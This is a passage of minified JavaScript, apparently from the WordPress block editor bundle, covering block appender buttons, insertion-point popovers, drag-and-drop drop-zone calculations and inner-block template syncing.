p=f?u(f.name):null,g=oY(f,p);return{hasItems:i(o),hasSingleBlockType:m,blockTitle:h?h.title:&quot;&quot;,allowedBlockType:h,directInsertBlock:f,appenderLabel:g,rootClientId:o}}),(0,RB.withDispatch)((e,t,{select:o})=&gt;({insertOnlyAllowedBlock(){let{rootClientId:r,clientId:n,isAppender:i,hasSingleBlockType:s,allowedBlockType:a,directInsertBlock:c,onSelectOrClose:u,selectBlockOnInsert:d}=t;if(!s&amp;&amp;!c)return;function f(b){let{getBlock:v,getPreviousBlockClientId:k}=o(_);if(!b||!n&amp;&amp;!r)return{};let y={},S={};if(n){let x=v(n),C=v(k(n));x?.name===C?.name&amp;&amp;(S=C?.attributes||{})}else{let x=v(r);if(x?.innerBlocks?.length){let C=x.innerBlocks[x.innerBlocks.length-1];c&amp;&amp;c?.name===C.name&amp;&amp;(S=C.attributes)}}return b.forEach(x=&gt;{S.hasOwnProperty(x)&amp;&amp;(y[x]=S[x])}),y}function m(){let{getBlockIndex:b,getBlockSelectionEnd:v,getBlockOrder:k,getBlockRootClientId:y}=o(_);if(n)return b(n);let S=v();return!i&amp;&amp;S&amp;&amp;y(S)===r?b(S)+1:k(r).length}let{insertBlock:h}=e(_),p;if(c){let b=f(c.attributesToCopy);p=(0,Yy.createBlock)(c.name,{...c.attributes||{},...b})}else p=(0,Yy.createBlock)(a.name);h(p,m(),r,d),u&amp;&amp;u(p);let g=(0,Gl.sprintf)((0,Gl.__)(&quot;%s block added&quot;),a.title);(0,rY.speak)(g)}})),(0,OB.ifCondition)(({hasItems:e,isAppender:t,rootClientId:o,clientId:r})=&gt;e||!t&amp;&amp;!o&amp;&amp;!r)])(Zxe);var qy=l(w(),1),Xxe=&quot;\uFEFF&quot;;function cg({rootClientId:e}){let{showPrompt:t,isLocked:o,placeholder:r,isManualGrid:n}=(0,AB.useSelect)(u=&gt;{let{getBlockCount:d,getSettings:f,getTemplateLock:m,getBlockAttributes:h}=u(_),p=!d(e),{bodyPlaceholder:g}=f();return{showPrompt:p,isLocked:!!m(e),placeholder:g,isManualGrid:h(e)?.layout?.isManualPlacement}},[e]),{insertDefaultBlock:i,startTyping:s}=(0,AB.useDispatch)(_);if(o||n)return null;let a=(0,iY.decodeEntities)(r)||(0,$5.__)(&quot;Type / to choose a block&quot;),c=()=&gt;{i(void 0,e),s()};return(0,qy.jsxs)(&quot;div&quot;,{&quot;data-root-client-id&quot;:e||&quot;&quot;,className:V(&quot;block-editor-default-block-appender&quot;,{&quot;has-visible-prompt&quot;:t}),children:[(0,qy.jsx)(&quot;p&quot;,{tabIndex:&quot;0&quot;,role:&quot;button&quot;,&quot;aria-label&quot;:(0,$5.__)(&quot;Add default block&quot;),className:&quot;block-editor-default-block-appender__content&quot;,onKeyDown:u=&gt;{(LB.ENTER===u.keyCode||LB.SPACE===u.keyCode)&amp;&amp;c()},onClick:()=&gt;c(),onFocus:()=&gt;{t&amp;&amp;c()},children:t?a:Xxe}),(0,qy.jsx)(Ui,{rootClientId:e,position:&quot;bottom right&quot;,isAppender:!0,__experimentalIsQuick:!0})]})}var sY=l(A(),1),K5=l(R(),1),Zy=l(N(),1);var aY=l(Re(),1);var NB=l(w(),1);function lY({rootClientId:e,className:t,onFocus:o,tabIndex:r,onSelect:n},i){return(0,NB.jsx)(Ui,{position:&quot;bottom center&quot;,rootClientId:e,__experimentalIsQuick:!0,onSelectOrClose:(...s)=&gt;{n&amp;&amp;typeof n==&quot;function&quot;&amp;&amp;n(...s)},renderToggle:({onToggle:s,disabled:a,isOpen:c,blockTitle:u,hasSingleBlockType:d,appenderLabel:f})=&gt;{let m=!d,h;return f?h=f:d?h=(0,Zy.sprintf)((0,Zy._x)(&quot;Add %s&quot;,&quot;directly add the only allowed block&quot;),u.toLowerCase()):h=(0,Zy._x)(&quot;Add block&quot;,&quot;Generic label for block inserter button&quot;),(0,NB.jsx)(sY.Button,{__next40pxDefaultSize:!0,ref:i,onFocus:o,tabIndex:r,className:V(t,&quot;block-editor-button-block-appender&quot;),onClick:s,&quot;aria-haspopup&quot;:m?&quot;true&quot;:void 0,&quot;aria-expanded&quot;:m?c:void 0,disabled:a,label:h,showTooltip:!0,children:(0,NB.jsx)(we,{icon:Bi})})},isAppender:!0})}var cY=(0,K5.forwardRef)((e,t)=&gt;((0,aY.default)(&quot;wp.blockEditor.ButtonBlockerAppender&quot;,{alternative:&quot;wp.blockEditor.ButtonBlockAppender&quot;,since:&quot;5.9&quot;}),lY(e,t))),Qu=(0,K5.forwardRef)(lY);var ug=l(w(),1);function Qxe({rootClientId:e}){return(0,Y5.useSelect)(o=&gt;o(_).canInsertBlockType((0,uY.getDefaultBlockName)(),e))?(0,ug.jsx)(cg,{rootClientId:e}):(0,ug.jsx)(Qu,{rootClientId:e,className:&quot;block-list-appender__toggle&quot;})}function dY({rootClientId:e,CustomAppender:t,className:o,tagName:r=&quot;div&quot;}){let n=(0,Y5.useSelect)(i=&gt;{let{getBlockInsertionPoint:s,isBlockInsertionPointVisible:a,getBlockCount:c}=i(_),u=s();return a()&amp;&amp;e===u?.rootClientId&amp;&amp;c(e)===0},[e]);return(0,ug.jsx)(r,{tabIndex:-1,className:V(&quot;block-list-appender wp-block&quot;,o,{&quot;is-drag-over&quot;:n}),contentEditable:!1,&quot;data-block&quot;:!0,children:t?(0,ug.jsx)(t,{}):(0,ug.jsx)(Qxe,{rootClientId:e})})}var BY=l(Z(),1),Qy=l(F(),1),EY=l(R(),1),TY=l(N(),1);var dg=l(F(),1),ed=l(R(),1),VB=l(A(),1),wY=l(Z(),1);var pY=l(F(),1),Ju=l(R(),1),hY=l(A(),1),gY=l(N(),1);var mY=l(Z(),1),q5=l(Fe(),1),fY=new WeakMap;function Jxe(e){let t=(0,mY.useRefEffect)(o=&gt;{function r(i){let{deltaX:s,deltaY:a,target:c}=i,u=e.current,d=fY.get(u);d||(d=(0,q5.getScrollContainer)(u),fY.set(u,d));let f=(0,q5.getScrollContainer)(c);o.contains(f)||d.scrollBy(s,a)}let n={passive:!0};return o.addEventListener(&quot;wheel&quot;,r,n),()=&gt;{o.removeEventListener(&quot;wheel&quot;,r,n)}},[e]);return e?t:null}var mm=Jxe;var Z5=l(w(),1),ewe=Number.MAX_SAFE_INTEGER;function twe({previousClientId:e,nextClientId:t,children:o,__unstablePopoverSlot:r,__unstableContentRef:n,operation:i=&quot;insert&quot;,nearestSide:s=&quot;right&quot;,...a}){let[c,u]=(0,Ju.useReducer)(k=&gt;(k+1)%ewe,0),{orientation:d,rootClientId:f,isVisible:m}=(0,pY.useSelect)(k=&gt;{let{getBlockListSettings:y,getBlockRootClientId:S,isBlockVisible:x}=k(_),C=S(e??t);return{orientation:y(C)?.orientation||&quot;vertical&quot;,rootClientId:C,isVisible:x(e)&amp;&amp;x(t)}},[e,t]),h=Xe(e),p=Xe(t),g=d===&quot;vertical&quot;,b=(0,Ju.useMemo)(()=&gt;c&lt;0||!h&amp;&amp;!p||!m?void 0:{contextElement:i===&quot;group&quot;?p||h:h||p,getBoundingClientRect(){let y=h?h.getBoundingClientRect():null,S=p?p.getBoundingClientRect():null,x=0,C=0,B=0,I=0;if(i===&quot;group&quot;){let P=S||y;C=P.top,B=0,I=P.bottom-P.top,x=s===&quot;left&quot;?P.left-2:P.right-2}else g?(C=y?y.bottom:S.top,B=y?y.width:S.width,I=S&amp;&amp;y?S.top-y.bottom:0,x=y?y.left:S.left):(C=y?y.top:S.top,I=y?y.height:S.height,(0,gY.isRTL)()?(x=S?S.right:y.left,B=y&amp;&amp;S?y.left-S.right:0):(x=y?y.right:S.left,B=y&amp;&amp;S?S.left-y.right:0),B=Math.max(B,0));return new window.DOMRect(x,C,B,I)}},[h,p,c,g,m,i,s]),v=mm(n);return(0,Ju.useLayoutEffect)(()=&gt;{if(!h)return;let k=new window.MutationObserver(u);return k.observe(h,{attributes:!0}),()=&gt;{k.disconnect()}},[h]),(0,Ju.useLayoutEffect)(()=&gt;{if(!p)return;let k=new window.MutationObserver(u);return k.observe(p,{attributes:!0}),()=&gt;{k.disconnect()}},[p]),(0,Ju.useLayoutEffect)(()=&gt;{if(h)return h.ownerDocument.defaultView.addEventListener(&quot;resize&quot;,u),()=&gt;{h.ownerDocument.defaultView?.removeEventListener(&quot;resize&quot;,u)}},[h]),!h&amp;&amp;!p||!m?null:(0,Z5.jsx)(hY.Popover,{ref:v,animate:!1,anchor:b,focusOnMount:!1,__unstableSlotName:r,inline:!r,...a,className:V(&quot;block-editor-block-popover&quot;,&quot;block-editor-block-popover__inbetween&quot;,a.className),resize:!1,flip:!1,placement:&quot;overlay&quot;,variant:&quot;unstyled&quot;,children:(0,Z5.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-popover__inbetween-container&quot;,children:o})},t+&quot;--&quot;+f)}var MB=twe;var yY=l(F(),1),SY=l(Z(),1),_Y=l(A(),1);var $l=l(R(),1);var bY=l(Z(),1),kY=l(A(),1),Wl=l(R(),1);var X5=l(w(),1),owe=Number.MAX_SAFE_INTEGER;function rwe({clientId:e,bottomClientId:t,children:o,__unstablePopoverSlot:r,__unstableContentRef:n,shift:i=!0,...s},a){let c=Xe(e),u=Xe(t??e),d=(0,bY.useMergeRefs)([a,mm(n)]),[f,m]=(0,Wl.useReducer)(p=&gt;(p+1)%owe,0);(0,Wl.useLayoutEffect)(()=&gt;{if(!c)return;let p=new window.MutationObserver(m);return p.observe(c,{attributes:!0}),()=&gt;{p.disconnect()}},[c]);let h=(0,Wl.useMemo)(()=&gt;{if(!(f&lt;0||!c||t&amp;&amp;!u))return{getBoundingClientRect(){return u?xD(Sh(c),Sh(u)):Sh(c)},contextElement:c}},[f,c,t,u]);return!c||t&amp;&amp;!u?null:(0,X5.jsx)(kY.Popover,{ref:d,animate:!1,focusOnMount:!1,anchor:h,__unstableSlotName:r,inline:!r,placement:&quot;top-start&quot;,resize:!1,flip:!1,shift:i,...s,className:V(&quot;block-editor-block-popover&quot;,s.className),variant:&quot;unstyled&quot;,children:o})}var pm=(0,Wl.forwardRef)(rwe),nwe=({clientId:e,bottomClientId:t,children:o,...r},n)=&gt;(0,X5.jsx)(pm,{...r,bottomClientId:t,clientId:e,__unstableContentRef:void 0,__unstablePopoverSlot:void 0,ref:n,children:o}),vY=(0,Wl.forwardRef)(nwe);var DB=l(w(),1);function iwe({clientId:e,bottomClientId:t,children:o,shift:r=!1,additionalStyles:n,...i},s){t??=e;let a=Xe(e);return(0,DB.jsx)(pm,{ref:s,clientId:e,bottomClientId:t,shift:r,...i,children:a&amp;&amp;e===t?(0,DB.jsx)(swe,{selectedElement:a,additionalStyles:n,children:o}):o})}function swe({selectedElement:e,additionalStyles:t={},children:o}){let[r,n]=(0,$l.useState)(e.offsetWidth),[i,s]=(0,$l.useState)(e.offsetHeight);(0,$l.useEffect)(()=&gt;{let c=new window.ResizeObserver(()=&gt;{n(e.offsetWidth),s(e.offsetHeight)});return c.observe(e,{box:&quot;border-box&quot;}),()=&gt;c.disconnect()},[e]);let a=(0,$l.useMemo)(()=&gt;({position:&quot;absolute&quot;,width:r,height:i,...t}),[r,i,t]);return(0,DB.jsx)(&quot;div&quot;,{style:a,children:o})}var Hi=(0,$l.forwardRef)(iwe);var Q5=l(w(),1),Xy={hide:{opacity:0,scaleY:.75},show:{opacity:1,scaleY:1},exit:{opacity:0,scaleY:.9}};function awe({__unstablePopoverSlot:e,__unstableContentRef:t}){let{clientId:o}=(0,yY.useSelect)(n=&gt;{let{getBlockOrder:i,getBlockInsertionPoint:s}=n(_),a=s(),c=i(a.rootClientId);return c.length?{clientId:c[a.index]}:{}},[]),r=(0,SY.useReducedMotion)();return(0,Q5.jsx)(Hi,{clientId:o,__unstablePopoverSlot:e,__unstableContentRef:t,className:&quot;block-editor-block-popover__drop-zone&quot;,children:(0,Q5.jsx)(_Y.__unstableMotion.div,{&quot;data-testid&quot;:&quot;block-popover-drop-zone&quot;,initial:r?Xy.show:Xy.hide,animate:Xy.show,exit:r?Xy.show:Xy.exit,className:&quot;block-editor-block-popover__drop-zone-foreground&quot;})})}var xY=awe;var Kl=l(w(),1),fg=(0,ed.createContext)();fg.displayName=&quot;InsertionPointOpenRefContext&quot;;function lwe({__unstablePopoverSlot:e,__unstableContentRef:t,operation:o=&quot;insert&quot;,nearestSide:r=&quot;right&quot;}){let{selectBlock:n,hideInsertionPoint:i}=(0,dg.useDispatch)(_),s=(0,ed.useContext)(fg),a=(0,ed.useRef)(),{orientation:c,previousClientId:u,nextClientId:d,rootClientId:f,isInserterShown:m,isDistractionFree:h,isZoomOutMode:p}=(0,dg.useSelect)(P=&gt;{let{getBlockOrder:E,getBlockListSettings:L,getBlockInsertionPoint:T,isBlockBeingDragged:O,getPreviousBlockClientId:D,getNextBlockClientId:U,getSettings:G,isZoomOut:j}=M(P(_)),z=T(),W=E(z.rootClientId);if(!W.length)return{};let ee=W[z.index-1],se=W[z.index];for(;O(ee);)ee=D(ee);for(;O(se);)se=U(se);let ce=G();return{previousClientId:ee,nextClientId:se,orientation:L(z.rootClientId)?.orientation||&quot;vertical&quot;,rootClientId:z.rootClientId,isDistractionFree:ce.isDistractionFree,isInserterShown:z?.__unstableWithInserter,isZoomOutMode:j()}},[]),{getBlockEditingMode:g}=(0,dg.useSelect)(_),b=(0,wY.useReducedMotion)();function v(P){P.target===a.current&amp;&amp;d&amp;&amp;g(d)!==&quot;disabled&quot;&amp;&amp;n(d,-1)}function k(P){P.target===a.current&amp;&amp;!s.current&amp;&amp;i()}function y(P){P.target!==a.current&amp;&amp;(s.current=!0)}let S=(0,ed.useCallback)(P=&gt;{!P&amp;&amp;s.current&amp;&amp;(s.current=!1)},[s]),x={start:{opacity:0,scale:0},rest:{opacity:1,scale:1,transition:{delay:m?.5:0,type:&quot;tween&quot;}},hover:{opacity:1,scale:1,transition:{delay:.5,type:&quot;tween&quot;}}},C={start:{scale:b?1:0},rest:{scale:1,transition:{delay:.4,type:&quot;tween&quot;}}};if(h||p&amp;&amp;o!==&quot;insert&quot;)return null;let I=V(&quot;block-editor-block-list__insertion-point&quot;,c===&quot;horizontal&quot;||o===&quot;group&quot;?&quot;is-horizontal&quot;:&quot;is-vertical&quot;);return(0,Kl.jsx)(MB,{previousClientId:u,nextClientId:d,__unstablePopoverSlot:e,__unstableContentRef:t,operation:o,nearestSide:r,children:(0,Kl.jsxs)(VB.__unstableMotion.div,{layout:!b,initial:b?&quot;rest&quot;:&quot;start&quot;,animate:&quot;rest&quot;,whileHover:&quot;hover&quot;,whileTap:&quot;pressed&quot;,exit:&quot;start&quot;,ref:a,tabIndex:-1,onClick:v,onFocus:y,className:V(I,{&quot;is-with-inserter&quot;:m}),onHoverEnd:k,children:[(0,Kl.jsx)(VB.__unstableMotion.div,{variants:x,className:&quot;block-editor-block-list__insertion-point-indicator&quot;,&quot;data-testid&quot;:&quot;block-list-insertion-point-indicator&quot;}),m&amp;&amp;(0,Kl.jsx)(VB.__unstableMotion.div,{variants:C,className:V(&quot;block-editor-block-list__insertion-point-inserter&quot;),children:(0,Kl.jsx)(Ui,{ref:S,position:&quot;bottom center&quot;,clientId:d,rootClientId:f,__experimentalIsQuick:!0,onToggle:P=&gt;{s.current=P},onSelectOrClose:()=&gt;{s.current=!1}})})]})})}function CY(e){let{insertionPoint:t,isVisible:o,isBlockListEmpty:r}=(0,dg.useSelect)(n=&gt;{let{getBlockInsertionPoint:i,isBlockInsertionPointVisible:s,getBlockCount:a}=n(_),c=i();return{insertionPoint:c,isVisible:s(),isBlockListEmpty:a(c?.rootClientId)===0}},[]);return!o||r?null:t.operation===&quot;replace&quot;?(0,Kl.jsx)(xY,{...e},`${t.rootClientId}-${t.index}`):(0,Kl.jsx)(lwe,{operation:t.operation,nearestSide:t.nearestSide,...e})}function IY(){let e=(0,EY.useContext)(fg),t=(0,Qy.useSelect)(g=&gt;{let b=g(_).getSettings();return b.isDistractionFree||b.isPreviewMode||M(g(_)).isZoomOut()},[]),{getBlockListSettings:o,getBlockIndex:r,isMultiSelecting:n,getSelectedBlockClientIds:i,getSettings:s,getTemplateLock:a,__unstableIsWithinBlockOverlay:c,getBlockEditingMode:u,getBlockName:d,getBlockAttributes:f,getParentSectionBlock:m}=M((0,Qy.useSelect)(_)),{showInsertionPoint:h,hideInsertionPoint:p}=(0,Qy.useDispatch)(_);return(0,BY.useRefEffect)(g=&gt;{if(t)return;function b(v){if(e===void 0||e.current||v.target.nodeType===v.target.TEXT_NODE||n())return;if(!v.target.classList.contains(&quot;block-editor-block-list__layout&quot;)){p();return}let k;if(v.target.classList.contains(&quot;is-root-container&quot;)||(k=(v.target.getAttribute(&quot;data-block&quot;)?v.target:v.target.closest(&quot;[data-block]&quot;)).getAttribute(&quot;data-block&quot;)),a(k)||u(k)===&quot;disabled&quot;||d(k)===&quot;core/block&quot;||k&amp;&amp;f(k).layout?.isManualPlacement)return;let y=o(k),S=y?.orientation||&quot;vertical&quot;,x=!!y?.__experimentalCaptureToolbars,C=v.clientY,B=v.clientX,P=Array.from(v.target.children).find(O=&gt;{let D=O.getBoundingClientRect();return O.classList.contains(&quot;wp-block&quot;)&amp;&amp;S===&quot;vertical&quot;&amp;&amp;D.top&gt;C||O.classList.contains(&quot;wp-block&quot;)&amp;&amp;S===&quot;horizontal&quot;&amp;&amp;((0,TY.isRTL)()?D.right&lt;B:D.left&gt;B)});if(!P){p();return}if(!P.id&amp;&amp;(P=P.firstElementChild,!P)){p();return}let E=P.id.slice(6);if(!E||c(E)||m(E)||i().includes(E)&amp;&amp;S===&quot;vertical&quot;&amp;&amp;!x&amp;&amp;!s().hasFixedToolbar)return;let L=P.getBoundingClientRect();if(S===&quot;horizontal&quot;&amp;&amp;(v.clientY&gt;L.bottom||v.clientY&lt;L.top)||S===&quot;vertical&quot;&amp;&amp;(v.clientX&gt;L.right||v.clientX&lt;L.left)){p();return}let T=r(E);if(T===0){p();return}h(k,T,{__unstableWithInserter:!0})}return g.addEventListener(&quot;mousemove&quot;,b),()=&gt;{g.removeEventListener(&quot;mousemove&quot;,b)}},[e,o,r,n,h,p,i,t])}var FB=l(F(),1),PY=l(Z(),1);var RY=l(w(),1);function hm(){let{getSettings:e,hasSelectedBlock:t,hasMultiSelection:o}=(0,FB.useSelect)(_),{clearSelectedBlock:r}=(0,FB.useDispatch)(_),{clearBlockSelection:n}=e();return(0,PY.useRefEffect)(i=&gt;{if(!n)return;function s(a){!t()&amp;&amp;!o()||a.target===i&amp;&amp;r()}return i.addEventListener(&quot;mousedown&quot;,s),()=&gt;{i.removeEventListener(&quot;mousedown&quot;,s)}},[t,o,r,n])}function OY(e){return(0,RY.jsx)(&quot;div&quot;,{ref:hm(),...e})}var JY=l(Z(),1),pg=l(R(),1),eq=l(F(),1),vm=l($(),1);var AY=l(w(),1);function LY({showSeparator:e,isFloating:t,onAddBlock:o,isToggle:r}){let{clientId:n}=Ie();return(0,AY.jsx)(Qu,{className:V({&quot;block-list-appender__toggle&quot;:r}),rootClientId:n,showSeparator:e,isFloating:t,onAddBlock:o})}var NY=l(w(),1);function MY(){let{clientId:e}=Ie();return(0,NY.jsx)(cg,{rootClientId:e})}var jB=l(R(),1),FY=l(F(),1),zB=l(Re(),1),zY=l(Jy(),1);var eS=new WeakMap;function cwe(){let e;return t=&gt;((e===void 0||!(0,zY.isShallowEqual)(e,t))&amp;&amp;(e=t),e)}function VY(e){let[t]=(0,jB.useState)(cwe);return t(e)}function jY(e,t,o,r,n,i,s,a,c,u,d,f){let m=(0,FY.useRegistry)(),h=VY(o),p=VY(r),g=c===void 0||t===&quot;contentOnly&quot;?t:c;(0,jB.useLayoutEffect)(()=&gt;{let b={allowedBlocks:h,prioritizedInserterBlocks:p,templateLock:g};if(u!==void 0&amp;&amp;(b.__experimentalCaptureToolbars=u),d!==void 0)b.orientation=d;else{let v=xs(f?.type);b.orientation=v.getOrientation(f)}s!==void 0&amp;&amp;((0,zB.default)(&quot;__experimentalDefaultBlock&quot;,{alternative:&quot;defaultBlock&quot;,since:&quot;6.3&quot;,version:&quot;6.4&quot;}),b.defaultBlock=s),n!==void 0&amp;&amp;(b.defaultBlock=n),a!==void 0&amp;&amp;((0,zB.default)(&quot;__experimentalDirectInsert&quot;,{alternative:&quot;directInsert&quot;,since:&quot;6.3&quot;,version:&quot;6.4&quot;}),b.directInsert=a),i!==void 0&amp;&amp;(b.directInsert=i),b.directInsert!==void 0&amp;&amp;typeof b.directInsert!=&quot;boolean&quot;&amp;&amp;(0,zB.default)(&quot;Using `Function` as a `directInsert` argument&quot;,{alternative:&quot;`boolean` values&quot;,since:&quot;6.5&quot;}),eS.get(m)||eS.set(m,{}),eS.get(m)[e]=b,window.queueMicrotask(()=&gt;{let v=eS.get(m);if(Object.keys(v).length){let{updateBlockListSettings:k}=m.dispatch(_);k(v),eS.set(m,{})}})},[e,h,p,g,n,i,s,a,u,d,f,m])}var J5=l(yf(),1),UB=l(R(),1),UY=l(F(),1),HY=l($(),1);function GY(e,t,o,r){let n=(0,UY.useRegistry)(),i=(0,UB.useRef)(null);(0,UB.useLayoutEffect)(()=&gt;{let s=!1,{getBlocks:a,getSelectedBlocksInitialCaretPosition:c,isBlockSelected:u}=n.select(_),{replaceInnerBlocks:d,__unstableMarkNextChangeAsNotPersistent:f}=n.dispatch(_);return window.queueMicrotask(()=&gt;{if(s)return;let m=a(e),h=m.length===0||o===&quot;all&quot;||o===&quot;contentOnly&quot;,p=!(0,J5.default)(t,i.current);if(!h||!p)return;i.current=t;let g=(0,HY.synchronizeBlocksWithTemplate)(m,t);(0,J5.default)(g,m)||(f(),d(e,g,m.length===0&amp;&amp;r&amp;&amp;g.length!==0&amp;&amp;u(e),c()))}),()=&gt;{s=!0}},[t,o,e,n,r])}var WY=l($(),1),$Y=l(F(),1);function KY(e){return(0,$Y.useSelect)(t=&gt;{let o=t(_).getBlock(e);if(!o)return;let r=t(WY.store).getBlockType(o.name);if(r&amp;&amp;Object.keys(r.providesContext).length!==0)return Object.fromEntries(Object.entries(r.providesContext).map(([n,i])=&gt;[n,o.attributes[i]]))},[e])}var km=l(F(),1),WB=l(R(),1),$B=l(Z(),1),XY=l(N(),1),mg=l($(),1);var eV=l(R(),1),Zn=l($(),1),gm=l(F(),1),YY=l(Fe(),1);function tV(e){let t={srcRootClientId:null,srcClientIds:null,srcIndex:null,type:null,blocks:null};if(!e.dataTransfer)return t;try{t=Object.assign(t,JSON.parse(e.dataTransfer.getData(&quot;wp-blocks&quot;)))}catch{return t}return t}function uwe(e,t,o,r,n,i,s,a,c){return u=&gt;{let{srcRootClientId:d,srcClientIds:f,type:m,blocks:h}=tV(u);if(m===&quot;inserter&quot;){s();let p=h.map(g=&gt;(0,Zn.cloneBlock)(g));i(p,!0,null)}if(m===&quot;block&quot;){let p=o(f[0]);if(d===e&amp;&amp;p===t||f.includes(e)||r(f).some(k=&gt;k===e))return;if(a===&quot;group&quot;){let k=f.map(y=&gt;c(y));i(k,!0,null,f);return}let g=d===e,b=f.length,v=g&amp;&amp;p&lt;t?t-b:t;n(f,d,v)}}}function dwe(e,t,o,r,n){return i=&gt;{if(!t().mediaUpload)return;let s=(0,Zn.findTransform)((0,Zn.getBlockTransforms)(&quot;from&quot;),a=&gt;a.type===&quot;files&quot;&amp;&amp;r(a.blockName,e)&amp;&amp;a.isMatch(i));if(s){let a=s.transform(i,o);n(a)}}}function fwe(e){return t=&gt;{let o=(0,Zn.pasteHandler)({HTML:t,mode:&quot;BLOCKS&quot;});o.length&amp;&amp;e(o)}}function HB(e,t,o={}){let{operation:r=&quot;insert&quot;,nearestSide:n=&quot;right&quot;}=o,{canInsertBlockType:i,getBlockIndex:s,getClientIdsOfDescendants:a,getBlockOrder:c,getBlocksByClientId:u,getSettings:d,getBlock:f}=(0,gm.useSelect)(_),{getGroupingBlockName:m}=(0,gm.useSelect)(Zn.store),{insertBlocks:h,moveBlocksToPosition:p,updateBlockAttributes:g,clearSelectedBlock:b,replaceBlocks:v,removeBlocks:k}=(0,gm.useDispatch)(_),y=(0,gm.useRegistry)(),S=(0,eV.useCallback)((P,E=!0,L=0,T=[])=&gt;{Array.isArray(P)||(P=[P]);let D=c(e)[t];if(r===&quot;replace&quot;)v(D,P,void 0,L);else if(r===&quot;group&quot;){let U=f(D);n===&quot;left&quot;?P.push(U):P.unshift(U);let G=P.map(ee=&gt;(0,Zn.createBlock)(ee.name,ee.attributes,ee.innerBlocks)),j=P.every(ee=&gt;ee.name===&quot;core/image&quot;),z=i(&quot;core/gallery&quot;,e),W=(0,Zn.createBlock)(j&amp;&amp;z?&quot;core/gallery&quot;:m(),{layout:{type:&quot;flex&quot;,flexWrap:j&amp;&amp;z?null:&quot;nowrap&quot;}},G);v([D,...T],W,void 0,L)}else h(P,t,e,E,L)},[c,e,t,r,v,f,n,i,m,h]),x=(0,eV.useCallback)((P,E,L)=&gt;{if(r===&quot;replace&quot;){let T=u(P),D=c(e)[t];y.batch(()=&gt;{k(P,!1),v(D,T,void 0,0)})}else p(P,E,e,L)},[r,c,u,p,y,k,v,t,e]),C=uwe(e,t,s,a,x,S,b,r,f),B=dwe(e,d,g,i,S),I=fwe(S);return P=&gt;{let E=(0,YY.getFilesFromDataTransfer)(P.dataTransfer),L=P.dataTransfer.getData(&quot;text/html&quot;);L?I(L):E.length?B(E):C(P)}}function mwe(e,t,o){let r=o===&quot;top&quot;||o===&quot;bottom&quot;,{x:n,y:i}=e,s=r?n:i,a=r?i:n,c=r?t.left:t.top,u=r?t.right:t.bottom,d=t[o],f;return s&gt;=c&amp;&amp;s&lt;=u?f=s:s&lt;u?f=c:f=u,Math.sqrt((s-f)**2+(a-d)**2)}function bm(e,t,o=[&quot;top&quot;,&quot;bottom&quot;,&quot;left&quot;,&quot;right&quot;]){let r,n;return o.forEach(i=&gt;{let s=mwe(e,t,i);(r===void 0||s&lt;r)&amp;&amp;(r=s,n=i)}),[r,n]}function GB(e,t){return t.left&lt;=e.x&amp;&amp;t.right&gt;=e.x&amp;&amp;t.top&lt;=e.y&amp;&amp;t.bottom&gt;=e.y}function qY(e,t){return t.top&lt;=e.y&amp;&amp;t.bottom&gt;=e.y}var oV=30,pwe=120,hwe=120;function gwe(e,t,o=&quot;vertical&quot;,r={}){let n=o===&quot;horizontal&quot;?[&quot;left&quot;,&quot;right&quot;]:[&quot;top&quot;,&quot;bottom&quot;],i=0,s=&quot;before&quot;,a=1/0,c=null,u=&quot;right&quot;,{dropZoneElement:d,parentBlockOrientation:f,rootBlockIndex:m=0}=r;if(d&amp;&amp;f!==&quot;horizontal&quot;){let v=d.getBoundingClientRect(),[k,y]=bm(t,v,[&quot;top&quot;,&quot;bottom&quot;]);if(v.height&gt;pwe&amp;&amp;k&lt;oV){if(y===&quot;top&quot;)return[m,&quot;before&quot;];if(y===&quot;bottom&quot;)return[m+1,&quot;after&quot;]}}let h=(0,XY.isRTL)();if(d&amp;&amp;f===&quot;horizontal&quot;){let v=d.getBoundingClientRect(),[k,y]=bm(t,v,[&quot;left&quot;,&quot;right&quot;]);if(v.width&gt;hwe&amp;&amp;k&lt;oV){if(h&amp;&amp;y===&quot;right&quot;||!h&amp;&amp;y===&quot;left&quot;)return[m,&quot;before&quot;];if(h&amp;&amp;y===&quot;left&quot;||!h&amp;&amp;y===&quot;right&quot;)return[m+1,&quot;after&quot;]}}e.forEach(({isUnmodifiedDefaultBlock:v,getBoundingClientRect:k,blockIndex:y,blockOrientation:S})=&gt;{let x=k();if(!x)return;let[C,B]=bm(t,x,n),[I,P]=bm(t,x,[&quot;left&quot;,&quot;right&quot;]),E=GB(t,x);v&amp;&amp;E?C=0:o===&quot;vertical&quot;&amp;&amp;S!==&quot;horizontal&quot;&amp;&amp;(E&amp;&amp;I&lt;oV||!E&amp;&amp;qY(t,x))&amp;&amp;(c=y,u=P),C&lt;a&amp;&amp;(s=B===&quot;bottom&quot;||!h&amp;&amp;B===&quot;right&quot;||h&amp;&amp;B===&quot;left&quot;?&quot;after&quot;:&quot;before&quot;,a=C,i=y)});let p=i+(s===&quot;after&quot;?1:-1),g=!!e[i]?.isUnmodifiedDefaultBlock,b=!!e[p]?.isUnmodifiedDefaultBlock;return c!==null?[c,&quot;group&quot;,u]:!g&amp;&amp;!b?[s===&quot;after&quot;?i+1:i,&quot;insert&quot;]:[g?i:p,&quot;replace&quot;]}function KB(e,t,o,r){let n=!0;if(t){let a=t?.map(({name:c})=&gt;c);n=o.every(c=&gt;a?.includes(c))}let s=o.map(a=&gt;e(a)).every(a=&gt;{let[c]=a?.parent||[];return c?c===r:!0});return n&amp;&amp;s}function ZY(e,t){let{defaultView:o}=t;return!!(o&amp;&amp;e instanceof o.HTMLElement&amp;&amp;e.closest(&quot;[data-is-insertion-point]&quot;))}function QY({dropZoneElement:e,rootClientId:t=&quot;&quot;,parentClientId:o=&quot;&quot;,isDisabled:r=!1}={}){let n=(0,km.useRegistry)(),[i,s]=(0,WB.useState)({index:null,operation:&quot;insert&quot;}),{getBlockType:a,getBlockVariations:c,getGroupingBlockName:u}=(0,km.useSelect)(mg.store),{canInsertBlockType:d,getBlockListSettings:f,getBlocks:m,getBlockIndex:h,getDraggedBlockClientIds:p,getBlockNamesByClientId:g,getAllowedBlocks:b,isDragging:v,isGroupable:k,isZoomOut:y,getSectionRootClientId:S,getBlockParents:x}=M((0,km.useSelect)(_)),{showInsertionPoint:C,hideInsertionPoint:B,startDragging:I,stopDragging:P}=M((0,km.useDispatch)(_)),E=HB(i.operation===&quot;before&quot;||i.operation===&quot;after&quot;?o:t,i.index,{operation:i.operation,nearestSide:i.nearestSide}),L=(0,$B.useThrottle)((0,WB.useCallback)((T,O)=&gt;{v()||I();let 